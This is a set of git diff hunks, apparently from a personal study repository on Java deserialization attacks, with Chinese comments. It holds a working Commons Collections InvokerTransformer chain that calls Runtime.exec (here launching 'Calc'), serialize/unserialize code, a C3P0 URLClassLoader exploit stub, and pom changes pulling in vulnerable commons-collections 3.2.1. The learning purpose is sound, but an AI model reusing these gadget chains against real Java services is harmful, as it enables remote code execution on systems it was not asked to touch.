@@ -6,7 +6,7 @@
 import java.lang.reflect.Method;
 import java.util.Hashtable;
 
-// 从 ReferenceableUtils 出发，调用 URLClassLoader 的 EXP (但是失败了
+// 从 ReferenceableUtils 出发，调用 URLClassLoader 的 EXP
 public class RefToURLClassLoader {
     public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NamingException, InstantiationException {
         Class clazz = Class.forName("com.mchange.v2.naming.ReferenceableUtils");
 
@@ -15,14 +15,15 @@
 // 最终的 EXP
 public class TransformMapEXP {
     public static void main(String[] args) throws Exception{
+        String[] cmd = {"Calc"};
         Transformer[] transformers = new Transformer[]{
             new ConstantTransformer(Runtime.class),
             new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
             new InvokerTransformer("getMethod",
                     new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
             new InvokerTransformer("invoke"
                     , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
-            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
+            new InvokerTransformer("exec", new Class[]{String.class}, cmd)
         };
         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
         HashMap<Object, Object> hashMap = new HashMap<>();
@@ -34,8 +35,8 @@ public static void main(String[] args) throws Exception{
         Object o = aihConstructor.newInstance(Target.class, transformedMap);
 
         // 序列化反序列化
-        serialize(o);
-        //unserialize("ser.bin");
+//        serialize(o);
+        unserialize("ser.bin");
     }
     public static void serialize(Object obj) throws IOException {
         ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
 
@@ -9,12 +9,25 @@
     <version>1.0-SNAPSHOT</version>
 
     <dependencies>
-        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
         <dependency>
             <groupId>commons-collections</groupId>
             <artifactId>commons-collections</artifactId>
             <version>3.2.1</version>
         </dependency>
+
+        <dependency>
+            <groupId>org.javassist</groupId>
+            <artifactId>javassist</artifactId>
+            <version>3.27.0-GA</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.jboss.classpool</groupId>
+            <artifactId>jboss-classpool</artifactId>
+            <version>1.0.0.GA</version>
+        </dependency>
+
+
     </dependencies>
     <properties>
         <maven.compiler.source>8</maven.compiler.source>
 
@@ -1,3 +1,5 @@
+package main.CC3ysoEXP;
+
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import org.apache.commons.collections.Transformer;
 
@@ -1,3 +1,5 @@
+package main.CC3ysoEXP;
+
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import org.apache.commons.collections.Transformer;
Original file line number	Diff line number	Diff line change
@@ -1,3 +1,5 @@
	1	+ package main.CC3ysoEXP;
	2	+
1	3	import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
2	4	import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
3	5	import org.apache.commons.collections.Transformer;